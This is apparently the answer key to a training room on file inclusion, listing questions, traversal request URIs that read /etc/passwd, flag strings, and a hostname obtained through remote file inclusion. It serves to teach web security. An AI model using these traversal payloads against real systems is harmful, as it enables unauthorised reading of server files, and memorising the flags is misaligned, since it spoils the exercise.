File Inclusion

Prompts and answers

• What function causes path traversal vulnerabilities in PHP?
  file_get_contents
• Give Lab #1 a try to read /etc/passwd. What would the request URI be?
  /lab1.php?file=/etc/passwd
• In Lab #2, what is the directory specified in the include function?
  includes
• Give Lab #3 a try to read /etc/passwd. What is the request look like?
  /lab3.php?file=../../../../etc/passwd
• Which function is causing the directory traversal in Lab #4?
  file_get_contents
• Try out Lab #6 and check what is the directory that has to be in the input field?
  THM-profile
• Try out Lab #6 and read /etc/os-release. What is the VERSION_ID value?
  12.04
• Capture Flag1 at /etc/flag1
  F1x3d-iNpu7-f0rrn
• Capture Flag2 at /etc/flag2
  c00k13_i5_yuMmy1
• Capture Flag3 at /etc/flag3
  P0st_1s_w0rk1in9
• Gain RCE in Lab #Playground /playground.php with RFI to execute the hostname command. What is the output?
  lfi-vm-thm-f8c5b1a78692